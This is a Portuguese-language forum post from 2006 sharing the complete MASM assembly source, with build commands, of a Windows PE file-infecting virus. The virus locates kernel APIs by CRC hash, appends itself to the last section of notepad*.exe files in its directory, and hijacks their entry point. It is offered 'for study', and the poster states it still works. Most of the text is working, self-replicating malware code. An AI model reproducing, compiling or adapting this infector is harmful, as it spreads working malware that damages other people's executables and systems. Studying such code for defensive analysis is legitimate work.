Source - Virus.asm [Para estudo]

Iniciado por Kratos, 07 de Julho , 2006, 02:01:50 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Kratos

Este vírus não causa nenhum tipo de estrago no micro e tem apenas a intenção
de demonstrar como é o funcionamento de uma infecção.

A   infecção   estará limitada  a  todos os arquivos notepad*.exe que estiverem no mesmo diretório do vírus, portanto, algo simples de ser controlado.

Para   demonstrar   seu   funcionamento   apenas   crie   diversos  arquivos
notepad*.exe  (notepad1.exe,  notepad2.exe,  etc...)  no  diretório onde está o
vírus e execute-o.   Qualquer  arquivo  EXE poderá ser utilizado, apenas o nome
deverá ser iniciado como "notepad", para diminuir as chances de problemas.

Para  reduzir  seu  tamanho  final,  foi usada uma técnica chamada de "API String CRC", utilizada pela   primeira   vez  no  vírus "Win32.Parvo".   

Ela consiste em pesquisar por um determinado montante de bytes que  se  iguale  exatamente com um cálculo feito com os nomes das APIs em nosso código, comparando seu CRC.
 
A  infecção  é  feita  rapidamente,  aproveitando a última seção do arquivo,
fazendo  com  que  não  se tenha necessidade de criar novas seções,  como faz a
maioria dos vírus.   

Após  infectar um arquivo, o vírus ocupará somente 1264 bytes, dependendo do
alinhamento do arquivo.  A  infecção  desviará  o Entry  Point para o código do
vírus  e  retornará  ao Entry point original.    Esta   técnica  é  simples e é
utilizada  pela  maioria  dos vírus que infectam arquivos executáveis (tanto em
MS-DOS quanto Windows).

Para  evitar  que  um arquivo seja infectado mais de uma vez, uma marca será
colocada  em  seu  cabeçalho  "MARK" e checada quando o vírus tentar infectar o
arquivo.

Para  compilar o vírus é necessário ter instalado o Macro Assembler versão 6
ou superior.
   
;--------------------------- Inicio do código-fonte ---------------------------

;
; virus.asm
;
; Exemplo de virus NAO-DESTRUTIVO para Windows.
; Compativel com Windows 9x, ME, NT, 2000 e XP.
;
; Escrito por Marcos Velasco
; marcos@velasco.com.br
; http://www.velasco.com.br
;
; Compilacao:
;
;    ml.exe /c /coff /Zp1 virus.asm
;    link.exe /SUBSYSTEM:WINDOWS /SECTION:.text,EWR virus.obj
;

.486
.model flat, stdcall
option casemap:none

; Include's
INCLUDE     d:\prog\masm32\include\windows.inc
INCLUDE     d:\prog\masm32\include\kernel32.inc
INCLUDELIB  d:\prog\masm32\lib\kernel32.lib

; Definicoes
_TAMANHO_VIRUS   equ  ( offset VIRUS_FIM - offset VIRUS_INICIO )
_MARCADOR_VIRUS  equ  'KRAM'

.CODE

Main:
   ; Windows 2000 precisa possuir pelo menos uma funcao importada
   ; Usado somente em virus de primeira geracao
   call GetVersion

VIRUS_INICIO:
   pushad
   call ObtemDelta

ObtemDelta:
   mov  EBP, [ESP]
   add  ESP, 4
   sub  EBP, offset ObtemDelta

   ; Obtem o Kernel Base
   push [ESP + 020h]
   call ObtemKernelBase
   or   EAX, EAX
   jz   EntryPoint
   mov  [EBP + dwKernelBase], EAX

   ; Obtem enderecos da API
   mov  EDI, [EBP + dwKernelBase]            ; Kernel base
   lea  ESI, [EBP + offset ObtemProcAddr]    ; Endereco do ObtemProcAddr
   lea  EDX, [EBP + offset _GlobalAlloc]     ; Ponteiro da API
   lea  ECX, [EBP + offset cCRCGlobalAlloc]  ; Ponteiro para a API string CRC

EnderecosAPILoop:
   pushad
   push [ECX]
   push EDI
   call ESI
   mov  [ESP + 01Ch], EAX
   popad
   
   mov  [EDX], EAX
   or   EAX, EAX
   jz   EnderecosAPIFim

   add  EDX, 4
   add  ECX, 4
   mov  EAX, [ECX]
   or   EAX, EAX
   jnz  EnderecosAPILoop

   mov  EAX, 1

EnderecosAPIFim:
   or   EAX, EAX
   jz   EntryPoint

   ; Infecta arquivos
   ; Pesquisa o primeiro arquivo
   lea  ESI, [EBP + offset VIRUS_FIM]

   assume ESI:PTR WIN32_FIND_DATA

   push ESI
   lea  EAX, [EBP + offset szMascaraArquivos]
   push EAX
   call [EBP + _FindFirstFile]
   
   inc  EAX
   .IF ZERO?
      ret
   .ENDIF
   dec  EAX
   
   mov  EDI, EAX
   lea  EAX, [ESI].cFileName

   ; Pesquisa por outras ocorrencias
   .WHILE TRUE
      call InfectaArquivo

      push ESI
      push EDI
      call [EBP + _FindNextFile]
      or   EAX, EAX

      .IF ZERO?
         .BREAK
      .ENDIF   

      lea  EAX, [ESI].cFileName
   .ENDW

   ; Finaliza
   push EDI
   call [EBP + _FindClose]

   assume ESI:nothing

EntryPoint:
   mov  EAX, [EBP + dwEntryPointOriginal]
   or   EAX, EAX

   .IF ZERO?
      popad
      ; Retorna ao Windows
      ret
   .ELSE
      mov  [ESP + 01Ch], EAX
      popad
      ; Vai para o Entry Point original
      jmp  EAX
   .ENDIF

; Parametro1 - (DWORD) InicioPilha
; Retorna NULL em caso de erro
ObtemKernelBase:
   mov  EDI, [ESP + 4]

   ; Inicia a pesquisa do Kernel
   and  EDI, 0FFFF0000h

   .WHILE TRUE
      .IF WORD PTR [EDI] == IMAGE_DOS_SIGNATURE
         mov ESI, EDI
         add ESI, [ESI + 03Ch]

         .IF  DWORD PTR [ESI] == IMAGE_NT_SIGNATURE
            .BREAK
         .ENDIF
      .ENDIF

      sub  EDI, 010000h

      ; Pesquisa minima do kernel
      .IF EDI < 070000000h
         mov EDI, 0BFF70000h
         .BREAK
      .ENDIF
   .ENDW

   xchg EAX, EDI
   ret  4

; Parametro1 - DLL base
; Parametro2 - Ponteiro para a API string
; Retorna endereco ou NULL em caso de erro
ObtemProcAddr:
   push EAX
   push 0

   ; Checa por assinatura PE
   mov  ESI, [ESP + 0Ch]
   add  ESI, [ESI + 03Ch]

   ; Tabela de exportacao
   mov  EDX, [ESI + 078h]     ; Tabela Exportacao
   add  EDX, [ESP + 0Ch]

   assume EDX:PTR IMAGE_EXPORT_DIRECTORY

   mov  EBX, [EDX].AddressOfNames
   add  EBX, [ESP + 0Ch]
   xor  ECX, ECX              ; Indice

   .WHILE TRUE
      mov  EAX, [EBX]
      add  EAX, [ESP + 0Ch]   ; DLL base

      pushad
      xor  EDI, EDI   ; CRC corrente
      xor  ECX, ECX   ; Indice
      mov  ESI, EAX   ; ESI = Ponteiro para a string
      xor  EDX, EDX

StringCRCLoop:
      xor  EAX, EAX
      lodsb
      or   AL, AL
      jz   StringCRCFim
      inc  ECX
      mul  ECX
      add  EDI, EAX
      jmp  StringCRCLoop

StringCRCFim:
      ; Multiplica o CRC com o tamanho da string
      xchg EAX, EDI
      mul  ECX
      mov  [ESP + 01Ch], EAX
      popad

      cmp  EAX, [ESP + 010h] ; String CRC

      .IF ZERO?
         .BREAK
      .ENDIF

      add  EBX, 4
      inc  ECX   

      .IF ECX == [EDX].NumberOfNames
         jmp Sair
      .ENDIF
   .ENDW

   ; Pesquisa pelo ordinal
   xchg  EAX, ECX
   mov   ESI, [EDX].AddressOfNameOrdinals
   add   ESI, [ESP + 0Ch]
   shl   EAX, 1
   add   EAX, ESI
   movzx ECX, WORD PTR [EAX]       ; API ordinal

   ; Obtem endereco de uma API
   mov  EDI, [EDX].AddressOfFunctions
   xchg EAX, ECX
   shl  EAX, 2
   add  EAX, [ESP + 0Ch]
   add  EAX, EDI
   mov  EAX, [EAX]
   add  EAX, [ESP + 0Ch]
   jmp  Finaliza

   assume EDX:nothing

Sair:
   xor  EAX, EAX

Finaliza:
   pop  EBX
   add  ESP, 4
   ret  8

; EAX = Endereco do nome do arquivo
; Retorno:
; 0 = Infeccao OK
InfectaArquivo:
   pushad
   
   push 0
   push FILE_ATTRIBUTE_NORMAL
   push OPEN_EXISTING
   push 0
   push FILE_SHARE_READ + FILE_SHARE_WRITE
   push GENERIC_READ + GENERIC_WRITE
   push EAX
   call [EBP + _CreateFile]

   .IF EAX == INVALID_HANDLE_VALUE
      mov EAX, 1
      jmp FinalizaInfeccao
   .ENDIF

   mov  [EBP + hFile], EAX
   push 0
   push EAX
   call [EBP + _GetFileSize]
   or   EAX, EAX

   .IF ZERO?
      mov EAX, 2
      jmp Finaliza1
   .ENDIF

   mov  [EBP + dwTamanhoArquivo], EAX

   ; Faz o alinhamento
   add  EAX, 000001000h + _TAMANHO_VIRUS
   push EAX
   push GMEM_FIXED OR GMEM_ZEROINIT
   call [EBP + _GlobalAlloc]
   or   EAX, EAX

   .IF ZERO?
      mov EAX, 3
      jmp Finaliza1
   .ENDIF

   mov  [EBP + pMem], EAX
   lea  EAX, [EBP + offset VIRUS_FIM]
   push NULL
   push EAX
   push [EBP + dwTamanhoArquivo]
   push [EBP + pMem]
   push [EBP + hFile]
   call [EBP + _ReadFile]

   ; Checa a assinatura PE
   mov  ESI, [EBP + pMem]
   cmp  WORD PTR [ESI], IMAGE_DOS_SIGNATURE

   .IF !ZERO?
      mov EAX, 4
      jmp Finaliza2
   .ENDIF

   add  WORD PTR SI, [ESI + 03Ch] ; ESI = NT Header
   cmp  DWORD PTR [ESI], IMAGE_NT_SIGNATURE

   .IF !ZERO?
      mov EAX, 4
      jmp Finaliza2
   .ENDIF

   ; Arquivo ja infectado ?
   assume ESI:PTR IMAGE_NT_HEADERS

   .IF [ESI].FileHeader.PointerToSymbolTable == _MARCADOR_VIRUS
      mov EAX, 5
      jmp Finaliza2
   .ENDIF

   ; Obtem a ultima secao
   mov  EDI, ESI
   add  EDI, 0F8h
   movzx ECX, [ESI].FileHeader.NumberOfSections

   .WHILE ECX != 1
      dec ECX
      add EDI, SIZEOF IMAGE_SECTION_HEADER
   .ENDW

   assume EDI:PTR IMAGE_SECTION_HEADER   ; EDI = Ultimo Section Header

   ; Compatibiliza secao
   mov  EAX, [EDI].Misc.VirtualSize
   or   EAX, EAX

   .IF ZERO?
      mov EAX, [ESI].OptionalHeader.SizeOfImage
      sub EAX, [EDI].VirtualAddress
      mov [EDI].Misc.VirtualSize, EAX
   .ENDIF    

   ; Copia o codigo do virus
   mov  EAX, [EDI].PointerToRawData
   add  EAX, [EDI].SizeOfRawData
   add  EAX, [EBP + pMem]
   mov  EDX, EAX
   
   push ESI
   push EDI
   mov  ECX, _TAMANHO_VIRUS
   lea  ESI, [EBP + offset VIRUS_INICIO]
   xchg EAX, EDI
   rep  MOVSB
   pop  EDI
   pop  ESI

   ; Atualiza o NT Header
   mov  [ESI].OptionalHeader.FileAlignment, 0200h

   ; Imagebase
   add  [ESI].OptionalHeader.SizeOfImage, 000001000h

   ; Entry Point
   mov  EAX, EDX
   add  EAX, ( offset Constantes - offset VIRUS_INICIO )
   mov  EBX, [ESI].OptionalHeader.AddressOfEntryPoint
   add  EBX, [ESI].OptionalHeader.ImageBase
   mov  ECX, EBX
   mov  [EAX], EBX

   mov  EAX, [EDI].VirtualAddress
   add  EAX, [EDI].SizeOfRawData
   mov  [ESI].OptionalHeader.AddressOfEntryPoint, EAX

   ; Faz a marcacao
   mov  [ESI].FileHeader.PointerToSymbolTable, _MARCADOR_VIRUS

   add  [EDI].Misc.VirtualSize, 000001000h
   add  [EDI].SizeOfRawData,    000000600h
   or   [EDI].Characteristics,  0E0000000h   ; R/W/X

   ; Grava o arquivo em disco
   push FILE_BEGIN
   push 0
   push 0
   push [EBP + hFile]
   call [EBP + _SetFilePointer]

   ; Obtem o tamanho atual
   mov  ECX, [EDI].PointerToRawData
   add  ECX, [EDI].SizeOfRawData

   ; Grava
   push NULL
   lea  EAX, [EBP + offset VIRUS_FIM]
   push EAX
   push ECX
   push [EBP + pMem]
   push [EBP + hFile]
   call [EBP + _WriteFile]

   assume EDI:nothing
   assume ESI:nothing

   ; OK
   xor  EAX, EAX

Finaliza2:
   push [EBP + pMem]
   call [EBP + _GlobalFree]

Finaliza1:
   push [EBP + hFile]
   call [EBP + _CloseHandle]

FinalizaInfeccao:
   popad
   ret

; Constantes
Constantes:
dwEntryPointOriginal  dd  0

cCRCGlobalAlloc       dd  000011D19h
cCRCGlobalFree        dd  00000D584h
cCRCReadFile          dd  000006DF8h
cCRCWriteFile         dd  000009F27h
cCRCGetFileSize       dd  0000120CBh
cCRCCreateFile        dd  000010A5Dh
cCRCCloseHandle       dd  000011E4Dh
cCRCSetFilePointer    dd  00002592Eh
cCRCFindFirstFile     dd  0000229C4h
cCRCFindNextFile      dd  00001B9BFh
cCRCFindClose         dd  00000A1AFh
                      dd  000000000h

szMascaraArquivos     db  ".\notepad*.exe", 0

dwKernelBase          dd  0
dwTamanhoArquivo      dd  0
pMem                  dd  0
hFile                 dd  0

_GlobalAlloc          dd  0
_GlobalFree           dd  0
_ReadFile             dd  0
_WriteFile            dd  0
_GetFileSize          dd  0
_CreateFile           dd  0
_CloseHandle          dd  0
_SetFilePointer       dd  0
_FindFirstFile        dd  0
_FindNextFile         dd  0
_FindClose            dd  0

VIRUS_FIM:
end Main

;---------------------------- Fim do código-fonte -----------------------------

Fonte: Marcos Velasco


Espero que Gostem.... somente para estudo em gente, pois o source esta abilitado, ou seja, ..... o virus ainda funciona !!!!


vlw
::: "A vida é bela pra quem sabe curtir" :::





Skayler

Obrigado Kratos
Vou dar uma estudada no código... :)

[]'s


Skayler
Away